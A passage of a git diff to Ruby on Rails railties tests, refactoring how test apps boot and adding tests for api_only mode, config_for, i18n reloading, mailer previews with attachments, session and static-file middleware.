Rails.configuration.ran_block require 'rake' @@ -1121,7 +1234,7 @@ module ApplicationTests end RUBY - require "#{app_path}/config/environment" + app 'development' assert_not Rails.configuration.ran_block Rails.application.load_generators @@ -1139,7 +1252,7 @@ module ApplicationTests end RUBY - require "#{app_path}/config/environment" + app 'development' assert_not Rails.configuration.ran_block Rails.application.load_console @@ -1157,7 +1270,7 @@ module ApplicationTests end RUBY - require "#{app_path}/config/environment" + app 'development' assert_not Rails.configuration.ran_block Rails.application.load_runner @@ -1173,14 +1286,14 @@ module ApplicationTests end RUBY - require "#{app_path}/config/environment" + app 'development' assert_kind_of Hash, Rails.application.config.database_configuration end test 'raises with proper error message if no database configuration found' do FileUtils.rm("#{app_path}/config/database.yml") - require "#{app_path}/config/environment" + app 'development' err = assert_raises RuntimeError do Rails.application.config.database_configuration end @@ -1188,25 +1301,23 @@ module ApplicationTests end test 'config.action_mailer.show_previews defaults to true in development' do - Rails.env = "development" - require "#{app_path}/config/environment" + app 'development' assert Rails.application.config.action_mailer.show_previews end test 'config.action_mailer.show_previews defaults to false in production' do - Rails.env = "production" - require "#{app_path}/config/environment" + app 'production' assert_equal false, Rails.application.config.action_mailer.show_previews end test 'config.action_mailer.show_previews can be set in the configuration file' do - Rails.env = "production" add_to_config <<-RUBY config.action_mailer.show_previews = true RUBY - require "#{app_path}/config/environment" + + app 'production' assert_equal true, Rails.application.config.action_mailer.show_previews end @@ -1221,7 +1332,22 @@ module ApplicationTests config.my_custom_config = config_for('custom') RUBY - require "#{app_path}/config/environment" + app 'development' + + assert_equal 'custom key', Rails.application.config.my_custom_config['key'] + end + + test "config_for uses the Pathname object if it is provided" do + app_file 'config/custom.yml', <<-RUBY + development: + key: 'custom key' + RUBY + + add_to_config <<-RUBY + config.my_custom_config = config_for(Pathname.new(Rails.root.join("config/custom.yml"))) + RUBY + + app 'development' assert_equal 'custom key', Rails.application.config.my_custom_config['key'] end @@ -1232,7 +1358,7 @@ module ApplicationTests RUBY exception = assert_raises(RuntimeError) do - require "#{app_path}/config/environment" + app 'development' end assert_equal "Could not load configuration. No such file - #{app_path}/config/custom.yml", exception.message @@ -1247,7 +1373,8 @@ module ApplicationTests add_to_config <<-RUBY config.my_custom_config = config_for('custom') RUBY - require "#{app_path}/config/environment" + + app 'development' assert_equal({}, Rails.application.config.my_custom_config) end @@ -1259,7 +1386,8 @@ module ApplicationTests add_to_config <<-RUBY config.my_custom_config = config_for('custom') RUBY - require "#{app_path}/config/environment" + + app 'development' assert_equal({}, Rails.application.config.my_custom_config) end @@ -1273,12 +1401,13 @@ module ApplicationTests add_to_config <<-RUBY config.my_custom_config = config_for('custom') RUBY - require "#{app_path}/config/environment" + + app 'development' assert_equal 'custom key', Rails.application.config.my_custom_config['key'] end - test "config_for with syntax error show a more descritive exception" do + test "config_for with syntax error show a more descriptive exception" do app_file 'config/custom.yml', <<-RUBY development: key: foo: @@ -1289,10 +1418,66 @@ module ApplicationTests RUBY exception = assert_raises(RuntimeError) do - require "#{app_path}/config/environment" + app 'development' end assert_match 'YAML syntax error occurred while parsing', exception.message end + + test "config_for allows overriding the environment" do + app_file 'config/custom.yml', <<-RUBY + test: + key: 'walrus' + production: + key: 'unicorn' + RUBY + + add_to_config <<-RUBY + config.my_custom_config = config_for('custom', env: 'production') + RUBY + require "#{app_path}/config/environment" + + assert_equal 'unicorn', Rails.application.config.my_custom_config['key'] + end + + test "api_only is false by default" do + app 'development' + refute Rails.application.config.api_only + end + + test "api_only generator config is set when api_only is set" do + add_to_config <<-RUBY + config.api_only = true + RUBY + app 'development' + + Rails.application.load_generators + assert Rails.configuration.api_only + end + + test "debug_exception_response_format is :api by default if api_only is enabled" do + add_to_config <<-RUBY + config.api_only = true + RUBY + app 'development' + + assert_equal :api, Rails.configuration.debug_exception_response_format + end + + test "debug_exception_response_format can be overridden" do + add_to_config <<-RUBY + config.api_only = true + RUBY + + app_file 'config/environments/development.rb', <<-RUBY + Rails.application.configure do + config.debug_exception_response_format = :default + end + RUBY + + app 'development' + + assert_equal :default, Rails.configuration.debug_exception_response_format + end end end diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb index 31bc003dcb..ea68e63f8f 100644 --- a/railties/test/application/console_test.rb +++ b/railties/test/application/console_test.rb @@ -29,6 +29,18 @@ class ConsoleTest < ActiveSupport::TestCase assert_instance_of ActionDispatch::Integration::Session, console_session end + def test_app_can_access_path_helper_method + app_file 'config/routes.rb', <<-RUBY + Rails.application.routes.draw do + get 'foo', to: 'foo#index' + end + RUBY + + load_environment + console_session = irb_context.app + assert_equal '/foo', console_session.foo_path + end + def test_new_session_should_return_integration_session load_environment session = irb_context.new_session @@ -40,12 +52,11 @@ class ConsoleTest < ActiveSupport::TestCase a = b = c = nil # TODO: These should be defined on the initializer - ActionDispatch::Reloader.to_cleanup { a = b = c = 1 } - ActionDispatch::Reloader.to_cleanup { b = c = 2 } - ActionDispatch::Reloader.to_prepare { c = 3 } + ActiveSupport::Reloader.to_complete { a = b = c = 1 } + ActiveSupport::Reloader.to_complete { b = c = 2 } + ActiveSupport::Reloader.to_prepare { c = 3 } - # Hide Reloading... output - silence_stream(STDOUT) { irb_context.reload! } + irb_context.reload!(false) assert_equal 1, a assert_equal 2, b @@ -69,7 +80,7 @@ class ConsoleTest < ActiveSupport::TestCase MODEL assert !User.new.respond_to?(:age) - silence_stream(STDOUT) { irb_context.reload! } + irb_context.reload!(false) assert User.new.respond_to?(:age) end diff --git a/railties/test/application/generators_test.rb b/railties/test/application/generators_test.rb index 78ada58ec8..644af0e737 100644 --- a/railties/test/application/generators_test.rb +++ b/railties/test/application/generators_test.rb @@ -125,5 +125,50 @@ module ApplicationTests assert_equal expected, c.generators.options end end + + test "api only generators hide assets, helper, js and css namespaces and set api option" do + add_to_config <<-RUBY + config.api_only = true + RUBY + + # Initialize the application + require "#{app_path}/config/environment" + Rails.application.load_generators + + assert Rails::Generators.hidden_namespaces.include?("assets") + assert Rails::Generators.hidden_namespaces.include?("helper") + assert Rails::Generators.hidden_namespaces.include?("js") + assert Rails::Generators.hidden_namespaces.include?("css") + assert Rails::Generators.options[:rails][:api] + assert_equal false, Rails::Generators.options[:rails][:assets] + assert_equal false, Rails::Generators.options[:rails][:helper] + assert_nil Rails::Generators.options[:rails][:template_engine] + end + + test "api only generators allow overriding generator options" do + add_to_config <<-RUBY + config.generators.helper = true + config.api_only = true + config.generators.template_engine = :my_template + RUBY + + # Initialize the application + require "#{app_path}/config/environment" + Rails.application.load_generators + + assert Rails::Generators.options[:rails][:api] + assert Rails::Generators.options[:rails][:helper] + assert_equal :my_template, Rails::Generators.options[:rails][:template_engine] + end + + test "api only generator generate mailer views" do + add_to_config <<-RUBY + config.api_only = true + RUBY + + FileUtils.cd(rails_root){ `bin/rails generate mailer notifier foo` } + assert File.exist?(File.join(rails_root, "app/views/notifier_mailer/foo.text.erb")) + assert File.exist?(File.join(rails_root, "app/views/notifier_mailer/foo.html.erb")) + end end end diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb index 97b51911d9..44209a52f7 100644 --- a/railties/test/application/initializers/frameworks_test.rb +++ b/railties/test/application/initializers/frameworks_test.rb @@ -1,5 +1,4 @@ require "isolation/abstract_unit" -require 'set' module ApplicationTests class FrameworksTest < ActiveSupport::TestCase @@ -17,7 +16,7 @@ module ApplicationTests # AC & AM test "set load paths set only if action controller or action mailer are in use" do - assert_nothing_raised NameError do + assert_nothing_raised do add_to_config <<-RUBY config.root = "#{app_path}" RUBY @@ -50,6 +49,17 @@ module ApplicationTests assert_equal "test.rails", ActionMailer::Base.default_url_options[:host] end + test "Default to HTTPS for ActionMailer URLs when force_ssl is on" do + app_file "config/environments/development.rb", <<-RUBY + Rails.application.configure do + config.force_ssl = true + end + RUBY + + require "#{app_path}/config/environment" + assert_equal "https", ActionMailer::Base.default_url_options[:protocol] + end + test "includes url helpers as action methods" do app_file "config/routes.rb", <<-RUBY Rails.application.routes.draw do @@ -129,6 +139,35 @@ module ApplicationTests assert_equal "false", last_response.body end + test "action_controller api executes using all the middleware stack" do + add_to_config "config.api_only = true" + + app_file "app/controllers/application_controller.rb", <<-RUBY + class ApplicationController < ActionController::API + end + RUBY + + app_file "app/controllers/omg_controller.rb", <<-RUBY + class OmgController < ApplicationController + def show + render json: { omg: 'omg' } + end + end + RUBY + + app_file "config/routes.rb", <<-RUBY + Rails.application.routes.draw do + get "/:controller(/:action)" + end + RUBY + + require 'rack/test' + extend Rack::Test::Methods + + get 'omg/show' + assert_equal '{"omg":"omg"}', last_response.body + end + # AD test "action_dispatch extensions are applied to ActionDispatch" do add_to_config "config.action_dispatch.tld_length = 2" @@ -177,7 +216,7 @@ module ApplicationTests test "use schema cache dump" do Dir.chdir(app_path) do `rails generate model post title:string; - bundle exec rake db:migrate db:schema:cache:dump` + bin/rails db:migrate db:schema:cache:dump` end require "#{app_path}/config/environment" ActiveRecord::Base.connection.drop_table("posts") # force drop posts table for test. @@ -187,7 +226,7 @@ module ApplicationTests test "expire schema cache dump" do Dir.chdir(app_path) do `rails generate model post title:string; - bundle exec rake db:migrate db:schema:cache:dump db:rollback` + bin/rails db:migrate db:schema:cache:dump db:rollback` end silence_warnings { require "#{app_path}/config/environment" diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb index 9ee54796a4..0f9bb41053 100644 --- a/railties/test/application/initializers/i18n_test.rb +++ b/railties/test/application/initializers/i18n_test.rb @@ -132,6 +132,79 @@ en: assert_equal "2", last_response.body end + test "new locale files are loaded" do + add_to_config <<-RUBY + config.cache_classes = false + RUBY + + app_file "config/locales/en.yml", <<-YAML +en: + foo: "1" + YAML + + app_file 'config/routes.rb', <<-RUBY + Rails.application.routes.draw do + get '/i18n', :to => lambda { |env| [200, {}, [I18n.t(:foo)]] } + end + RUBY + + require 'rack/test' + extend Rack::Test::Methods + load_app + + get "/i18n" + assert_equal "1", last_response.body + + # Wait a full second so we have time for changes to propagate + sleep(1) + + remove_file "config/locales/en.yml" + app_file "config/locales/custom.en.yml", <<-YAML +en: + foo: "2" + YAML + + get "/i18n" + assert_equal "2", last_response.body + end + + test "I18n.load_path is reloaded" do + add_to_config <<-RUBY + config.cache_classes = false + RUBY + + app_file "config/locales/en.yml", <<-YAML +en: + foo: "1" + YAML + + app_file 'config/routes.rb', <<-RUBY + Rails.application.routes.draw do + get '/i18n', :to => lambda { |env| [200, {}, [I18n.load_path.inspect]] } + end + RUBY + + require 'rack/test' + extend Rack::Test::Methods + load_app + + get "/i18n" + + assert_match "en.yml", last_response.body + + # Wait a full second so we have time for changes to propagate + sleep(1) + + app_file "config/locales/fr.yml", <<-YAML +fr: + foo: "2" + YAML + + get "/i18n" + assert_match "fr.yml", last_response.body + assert_match "en.yml", last_response.body + end + # Fallbacks test "not using config.i18n.fallbacks does not initialize I18n.fallbacks" do I18n.backend = Class.new(I18n::Backend::Simple).new @@ -172,7 +245,7 @@ en: assert_fallbacks de: [:de, :'en-US', :en] end - test "[shortcut] config.i18n.fallbacks = [{ :ca => :'es-ES' }] initializes fallbacks with a mapping de-AT => de-DE" do + test "[shortcut] config.i18n.fallbacks = [{ :ca => :'es-ES' }] initializes fallbacks with a mapping ca => es-ES" do I18n::Railtie.config.i18n.fallbacks.map = { :ca => :'es-ES' } load_app assert_fallbacks ca: [:ca, :"es-ES", :es, :en] @@ -184,6 +257,12 @@ en: assert_fallbacks ca: [:ca, :"es-ES", :es, :'en-US', :en] end + test "[shortcut] config.i18n.fallbacks = { ca: :en } initializes fallbacks with a mapping ca => :en" do + I18n::Railtie.config.i18n.fallbacks = { ca: :en } + load_app + assert_fallbacks ca: [:ca, :en] + end + test "disable config.i18n.enforce_available_locales" do add_to_config <<-RUBY config.i18n.enforce_available_locales = false diff --git a/railties/test/application/integration_test_case_test.rb b/railties/test/application/integration_test_case_test.rb new file mode 100644 index 0000000000..d106d5159a --- /dev/null +++ b/railties/test/application/integration_test_case_test.rb @@ -0,0 +1,46 @@ +require 'isolation/abstract_unit' + +module ApplicationTests + class IntegrationTestCaseTest < ActiveSupport::TestCase + include ActiveSupport::Testing::Isolation + + setup do + build_app + boot_rails + end + + teardown do + teardown_app + end + + test "resets Action Mailer test deliveries" do + script('generate mailer BaseMailer welcome') + + app_file 'test/integration/mailer_integration_test.rb', <<-RUBY + require 'test_helper' + + class MailerIntegrationTest < ActionDispatch::IntegrationTest + setup do + @old_delivery_method = ActionMailer::Base.delivery_method + ActionMailer::Base.delivery_method = :test + end + + teardown do + ActionMailer::Base.delivery_method = @old_delivery_method + end + + 2.times do |i| + define_method "test_resets_deliveries_\#{i}" do + BaseMailer.welcome.deliver_now + assert_equal 1, ActionMailer::Base.deliveries.count + end + end + end + RUBY + + output = Dir.chdir(app_path) { `bin/rails test 2>&1` } + assert_equal 0, $?.to_i, output + assert_match(/0 failures, 0 errors/, output) + end + end +end diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb index 85066210f3..efb21ae473 100644 --- a/railties/test/application/loading_test.rb +++ b/railties/test/application/loading_test.rb @@ -56,10 +56,10 @@ class LoadingTest < ActiveSupport::TestCase require "#{rails_root}/config/environment" - assert_nothing_raised(NameError) { Trackable } - assert_nothing_raised(NameError) { EmailLoggable } - assert_nothing_raised(NameError) { Orderable } - assert_nothing_raised(NameError) { Matchable } + assert_nothing_raised { Trackable } + assert_nothing_raised { EmailLoggable } + assert_nothing_raised { Orderable } + assert_nothing_raised { Matchable } end test "models without table do not panic on scope definitions when loaded" do @@ -116,11 +116,11 @@ class LoadingTest < ActiveSupport::TestCase require "#{rails_root}/config/environment" setup_ar! - assert_equal [ActiveRecord::SchemaMigration], ActiveRecord::Base.descendants + assert_equal [ActiveRecord::SchemaMigration, ActiveRecord::InternalMetadata], ActiveRecord::Base.descendants get "/load" - assert_equal [ActiveRecord::SchemaMigration, Post], ActiveRecord::Base.descendants + assert_equal [ActiveRecord::SchemaMigration, ActiveRecord::InternalMetadata, Post], ActiveRecord::Base.descendants get "/unload" - assert_equal [ActiveRecord::SchemaMigration], ActiveRecord::Base.descendants + assert_equal [ActiveRecord::SchemaMigration, ActiveRecord::InternalMetadata], ActiveRecord::Base.descendants end test "initialize cant be called twice" do @@ -169,6 +169,8 @@ class LoadingTest < ActiveSupport::TestCase config.file_watcher = Class.new do def initialize(*); end def updated?; false; end + def execute; end + def execute_if_updated; false; end end RUBY @@ -210,7 +212,7 @@ class LoadingTest < ActiveSupport::TestCase app_file 'config/routes.rb', <<-RUBY $counter ||= 0 Rails.application.routes.draw do - get '/c', to: lambda { |env| User; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] } + get '/c', to: lambda { |env| User.name; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] } end RUBY @@ -243,7 +245,7 @@ class LoadingTest < ActiveSupport::TestCase $counter ||= 1 $counter *= 2 Rails.application.routes.draw do - get '/c', to: lambda { |env| User; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] } + get '/c', to: lambda { |env| User.name; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] } end RUBY @@ -288,7 +290,7 @@ class LoadingTest < ActiveSupport::TestCase extend Rack::Test::Methods app_file "db/migrate/1_create_posts.rb", <<-MIGRATION - class CreatePosts < ActiveRecord::Migration + class CreatePosts < ActiveRecord::Migration::Current def change create_table :posts do |t| t.string :title, default: "TITLE" @@ -304,7 +306,7 @@ class LoadingTest < ActiveSupport::TestCase assert_equal "TITLE", last_response.body app_file "db/migrate/2_add_body_to_posts.rb", <<-MIGRATION - class AddBodyToPosts < ActiveRecord::Migration + class AddBodyToPosts < ActiveRecord::Migration::Current def change add_column :posts, :body, :text, default: "BODY" end diff --git a/railties/test/application/mailer_previews_test.rb b/railties/test/application/mailer_previews_test.rb index 1752a9f3c6..643d876a26 100644 --- a/railties/test/application/mailer_previews_test.rb +++ b/railties/test/application/mailer_previews_test.rb @@ -1,5 +1,7 @@ require 'isolation/abstract_unit' require 'rack/test' +require 'base64' + module ApplicationTests class MailerPreviewsTest < ActiveSupport::TestCase include ActiveSupport::Testing::Isolation @@ -29,7 +31,7 @@ module ApplicationTests test "/rails/mailers is accessible with correct configuraiton" do add_to_config "config.action_mailer.show_previews = true" app("production") - get "/rails/mailers" + get "/rails/mailers", {}, {"REMOTE_ADDR" => "4.2.42.42"} assert_equal 200, last_response.status end @@ -327,6 +329,32 @@ module ApplicationTests assert_match "Email 'bar' not found in NotifierPreview", last_response.body end + test "mailer preview NullMail" do + mailer 'notifier', <<-RUBY + class Notifier < ActionMailer::Base + default from: "from@example.com" + + def foo + # does not call +mail+ + end + end + RUBY + + mailer_preview 'notifier', <<-RUBY + class NotifierPreview < ActionMailer::Preview + def foo + Notifier.foo + end + end + RUBY + + app('development') + + get "/rails/mailers/notifier/foo" + assert_match "You are trying to preview an email that does not have any content.", last_response.body + assert_match "notifier#foo", last_response.body + end + test "mailer preview email part not found" do mailer 'notifier', <<-RUBY class Notifier < ActionMailer::Base @@ -428,6 +456,222 @@ module ApplicationTests assert_match '<option selected value="?part=text%2Fplain">View as plain-text email</option>', last_response.body end + test "mailer previews create correct links when loaded on a subdirectory" do + mailer 'notifier', <<-RUBY + class Notifier < ActionMailer::Base + default from: "from@example.com" + + def foo + mail to: "to@example.org" + end + end + RUBY + + text_template 'notifier/foo', <<-RUBY + Hello, World! + RUBY + + mailer_preview 'notifier', <<-RUBY + class NotifierPreview < ActionMailer::Preview + def foo + Notifier.foo + end + end + RUBY + + app('development') + + get "/rails/mailers", {}, 'SCRIPT_NAME' => '/my_app' + assert_match '<h3><a href="/my_app/rails/mailers/notifier">Notifier</a></h3>', last_response.body + assert_match '<li><a href="/my_app/rails/mailers/notifier/foo">foo</a></li>', last_response.body + end + + test "plain text mailer preview with attachment" do + image_file "pixel.png", "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEWzIioca/JlAAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJgggo=" + + mailer 'notifier', <<-RUBY + class Notifier < ActionMailer::Base + default from: "from@example.com" + + def foo + attachments['pixel.png'] = File.read("#{app_path}/public/images/pixel.png", mode: 'rb') + mail to: "to@example.org" + end + end + RUBY + + text_template 'notifier/foo', <<-RUBY + Hello, World! + RUBY + + mailer_preview 'notifier', <<-RUBY + class NotifierPreview < ActionMailer::Preview + def foo + Notifier.foo + end + end + RUBY + + app('development') + + get "/rails/mailers/notifier/foo" + assert_equal 200, last_response.status + assert_match %r[<iframe seamless name="messageBody"], last_response.body + + get "/rails/mailers/notifier/foo?part=text/plain" + assert_equal 200, last_response.status + assert_match %r[Hello, World!], last_response.body + end + + test "multipart mailer preview with attachment" do + image_file "pixel.png", "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEWzIioca/JlAAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJgggo=" + + mailer 'notifier', <<-RUBY + class Notifier < ActionMailer::Base + default from: "from@example.com" + + def foo + attachments['pixel.png'] = File.read("#{app_path}/public/images/pixel.png", mode: 'rb') + mail to: "to@example.org" + end + end + RUBY + + text_template 'notifier/foo', <<-RUBY + Hello, World! + RUBY + + html_template 'notifier/foo', <<-RUBY + <p>Hello, World!</p> + RUBY + + mailer_preview 'notifier', <<-RUBY + class NotifierPreview < ActionMailer::Preview + def foo + Notifier.foo + end + end + RUBY + + app('development') + + get "/rails/mailers/notifier/foo" + assert_equal 200, last_response.status + assert_match %r[<iframe seamless name="messageBody"], last_response.body + + get "/rails/mailers/notifier/foo?part=text/plain" + assert_equal 200, last_response.status + assert_match %r[Hello, World!], last_response.body + + get "/rails/mailers/notifier/foo?part=text/html" + assert_equal 200, last_response.status + assert_match %r[<p>Hello, World!</p>], last_response.body + end + + test "multipart mailer preview with inline attachment" do + image_file "pixel.png", "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEWzIioca/JlAAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJgggo=" + + mailer 'notifier', <<-RUBY + class Notifier < ActionMailer::Base + default from: "from@example.com" + + def foo + attachments['pixel.png'] = File.read("#{app_path}/public/images/pixel.png", mode: 'rb') + mail to: "to@example.org" + end + end + RUBY + + text_template 'notifier/foo', <<-RUBY + Hello, World! + RUBY + + html_template 'notifier/foo', <<-RUBY + <p>Hello, World!</p> + <%= image_tag attachments['pixel.png'].url %> + RUBY + + mailer_preview 'notifier', <<-RUBY + class NotifierPreview < ActionMailer::Preview + def foo + Notifier.foo + end + end + RUBY + + app('development') + + get "/rails/mailers/notifier/foo" + assert_equal 200, last_response.status + assert_match %r[<iframe seamless name="messageBody"], last_response.body + + get "/rails/mailers/notifier/foo?part=text/plain" + assert_equal 200, last_response.status + assert_match %r[Hello, World!], last_response.body + + get "/rails/mailers/notifier/foo?part=text/html" + assert_equal 200, last_response.status + assert_match %r[<p>Hello, World!</p>], last_response.body + assert_match %r[src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEWzIioca/JlAAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJgggo="], last_response.body + end + + test "multipart mailer preview with attached email" do + mailer 'notifier', <<-RUBY + class Notifier < ActionMailer::Base + default from: "from@example.com" + + def foo + message = ::Mail.new do + from 'foo@example.com' + to 'bar@example.com' + subject 'Important Message' + + text_part do + body 'Goodbye, World!' + end + + html_part do + body '<p>Goodbye, World!</p>' + end + end + + attachments['message.eml'] = message.to_s + mail to: "to@example.org" + end + end + RUBY + + text_template 'notifier/foo', <<-RUBY + Hello, World! + RUBY + + html_template 'notifier/foo', <<-RUBY + <p>Hello, World!</p> + RUBY + + mailer_preview 'notifier', <<-RUBY + class NotifierPreview < ActionMailer::Preview + def foo + Notifier.foo + end + end + RUBY + + app('development') + + get "/rails/mailers/notifier/foo" + assert_equal 200, last_response.status + assert_match %r[<iframe seamless name="messageBody"], last_response.body + + get "/rails/mailers/notifier/foo?part=text/plain" + assert_equal 200, last_response.status + assert_match %r[Hello, World!], last_response.body + + get "/rails/mailers/notifier/foo?part=text/html" + assert_equal 200, last_response.status + assert_match %r[<p>Hello, World!</p>], last_response.body + end + private def build_app super @@ -449,5 +693,9 @@ module ApplicationTests def text_template(name, contents) app_file("app/views/#{name}.text.erb", contents) end + + def image_file(name, contents) + app_file("public/images/#{name}", Base64.strict_decode64(contents), 'wb') + end end end diff --git a/railties/test/application/middleware/exceptions_test.rb b/railties/test/application/middleware/exceptions_test.rb index 4906f9a1e8..639b01b562 100644 --- a/railties/test/application/middleware/exceptions_test.rb +++ b/railties/test/application/middleware/exceptions_test.rb @@ -48,7 +48,7 @@ module ApplicationTests test "uses custom exceptions app" do add_to_config <<-RUBY config.exceptions_app = lambda do |env| - [404, { "Content-Type" => "text/plain" }, ["YOU FAILED BRO"]] + [404, { "Content-Type" => "text/plain" }, ["YOU FAILED"]] end RUBY @@ -56,7 +56,7 @@ module ApplicationTests get "/foo" assert_equal 404, last_response.status - assert_equal "YOU FAILED BRO", last_response.body + assert_equal "YOU FAILED", last_response.body end test "url generation error when action_dispatch.show_exceptions is set raises an exception" do @@ -67,7 +67,7 @@ module ApplicationTests end end RUBY - + app.config.action_dispatch.show_exceptions = true get '/foo' @@ -85,7 +85,7 @@ module ApplicationTests test "unspecified route when action_dispatch.show_exceptions is set shows 404" do app.config.action_dispatch.show_exceptions = true - assert_nothing_raised(ActionController::RoutingError) do + assert_nothing_raised do get '/foo' assert_match "The page you were looking for doesn't exist.", last_response.body end @@ -95,7 +95,7 @@ module ApplicationTests app.config.action_dispatch.show_exceptions = true app.config.consider_all_requests_local = true - assert_nothing_raised(ActionController::RoutingError) do + assert_nothing_raised do get '/foo' assert_match "No route matches", last_response.body end diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb index 97d5b5c698..37bd8a25c1 100644 --- a/railties/test/application/middleware/remote_ip_test.rb +++ b/railties/test/application/middleware/remote_ip_test.rb @@ -36,10 +36,10 @@ module ApplicationTests test "works with both headers individually" do make_basic_app - assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do + assert_nothing_raised do assert_equal "1.1.1.1", remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1") end - assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do + assert_nothing_raised do assert_equal "1.1.1.2", remote_ip("HTTP_CLIENT_IP" => "1.1.1.2") end end @@ -49,7 +49,7 @@ module ApplicationTests app.config.action_dispatch.ip_spoofing_check = false end - assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do + assert_nothing_raised do assert_equal "1.1.1.1", remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1", "HTTP_CLIENT_IP" => "1.1.1.2") end end diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb index dc96480d6d..be86f1a3b8 100644 --- a/railties/test/application/middleware/sendfile_test.rb +++ b/railties/test/application/middleware/sendfile_test.rb @@ -61,7 +61,7 @@ module ApplicationTests test "files handled by ActionDispatch::Static are handled by Rack::Sendfile" do make_basic_app do |app| app.config.action_dispatch.x_sendfile_header = 'X-Sendfile' - app.config.serve_static_files = true + app.config.public_file_server.enabled = true app.paths["public"] = File.join(rails_root, "public") end diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb index a8dc79d10a..85e7761727 100644 --- a/railties/test/application/middleware/session_test.rb +++ b/railties/test/application/middleware/session_test.rb @@ -20,12 +20,19 @@ module ApplicationTests @app ||= Rails.application end - test "config.force_ssl sets cookie to secure only" do + test "config.force_ssl sets cookie to secure only by default" do add_to_config "config.force_ssl = true" require "#{app_path}/config/environment" assert app.config.session_options[:secure], "Expected session to be marked as secure" end + test "config.force_ssl doesn't set cookie to secure only when changed from default" do + add_to_config "config.force_ssl = true" + add_to_config "config.ssl_options = { secure_cookies: false }" + require "#{app_path}/config/environment" + assert !app.config.session_options[:secure] + end + test "session is not loaded if it's not used" do make_basic_app @@ -35,7 +42,7 @@ module ApplicationTests flash[:notice] = "notice" end - render nothing: true + head :ok end end @@ -60,7 +67,7 @@ module ApplicationTests def write_session session[:foo] = 1 - render nothing: true + head :ok end def read_session @@ -101,7 +108,7 @@ module ApplicationTests def write_cookie cookies[:foo] = '1' - render nothing: true + head :ok end def read_cookie @@ -139,7 +146,7 @@ module ApplicationTests class FooController < ActionController::Base def write_session session[:foo] = 1 - render nothing: true + head :ok end def read_session @@ -184,7 +191,7 @@ module ApplicationTests class FooController < ActionController::Base def write_session session[:foo] = 1 - render nothing: true + head :ok end def read_session @@ -234,12 +241,12 @@ module ApplicationTests def write_raw_session # {"session_id"=>"1965d95720fffc123941bdfb7d2e6870", "foo"=>1} cookies[:_myapp_session] = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTE5NjVkOTU3MjBmZmZjMTIzOTQxYmRmYjdkMmU2ODcwBjsAVEkiCGZvbwY7AEZpBg==--315fb9931921a87ae7421aec96382f0294119749" - render nothing: true + head :ok end def write_session session[:foo] = session[:foo] + 1 - render nothing: true + head :ok end def read_session @@ -293,12 +300,12 @@ module ApplicationTests def write_raw_session # {"session_id"=>"1965d95720fffc123941bdfb7d2e6870", "foo"=>1} cookies[:_myapp_session] = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTE5NjVkOTU3MjBmZmZjMTIzOTQxYmRmYjdkMmU2ODcwBjsAVEkiCGZvbwY7AEZpBg==--315fb9931921a87ae7421aec96382f0294119749" - render nothing: true + head :ok end def write_session session[:foo] = session[:foo] + 1 - render nothing: true + head :ok end def read_session @@ -338,5 +345,33 @@ module ApplicationTests get '/foo/read_raw_cookie' assert_equal 2, verifier.verify(last_response.body)['foo'] end + + test 'calling reset_session on request does not trigger an error for API apps' do + add_to_config 'config.api_only = true' + + controller :test, <<-RUBY + class TestController < ApplicationController + def dump_flash + request.reset_session + render plain: 'It worked!' + end + end + RUBY + + app_file 'config/routes.rb', <<-RUBY + Rails.application.routes.draw do + get '/dump_flash' => "test#dump_flash" + end + RUBY + + require "#{app_path}/config/environment" + + get '/dump_flash' + + assert_equal 200, last_response.status + assert_equal 'It worked!', last_response.body + + refute Rails.application.middleware.include?(ActionDispatch::Flash) + end end end diff --git a/railties/test/application/middleware/static_test.rb b/railties/test/application/middleware/static_test.rb index 121c5d3321..1246e20d94 100644 --- a/railties/test/application/middleware/static_test.rb +++ b/railties/test/application/middleware/static_test.rb @@ -26,5 +26,43 @@ module ApplicationTests assert_not last_response.headers.has_key?('Cache-Control'), "Cache-Control should not be set" end + + test "headers for static files are configurable" do + app_file "public/about.html", 'static' + add_to_config <<-CONFIG + config.public_file_server.headers = { + "Access-Control-Allow-Origin" => "http://rubyonrails.org", + "Cache-Control" => "public, max-age=60" + } + CONFIG + + require "#{app_path}/config/environment" + + get '/about.html' + + assert_equal 'http://rubyonrails.org', last_response.headers["Access-Control-Allow-Origin"] + assert_equal 'public, max-age=60', last_response.headers["Cache-Control"] + end + + test "public_file_server.index_name defaults to 'index'" do + app_file "public/index.html", "/index.html" + + require "#{app_path}/config/environment" + + get '/' + + assert_equal "/index.html\n", last_response.body + end + + test "public_file_server.index_name configurable" do + app_file "public/other-index.html", "/other-index.html" + add_to_config "config.public_file_server.index_name = 'other-index'" + + require "#{app_path}/config/environment" + + get '/' + + assert_equal "/other-index.html\n", last_response.body + end end end diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb index 04bd19784a..7a86a96e19 100644 --- 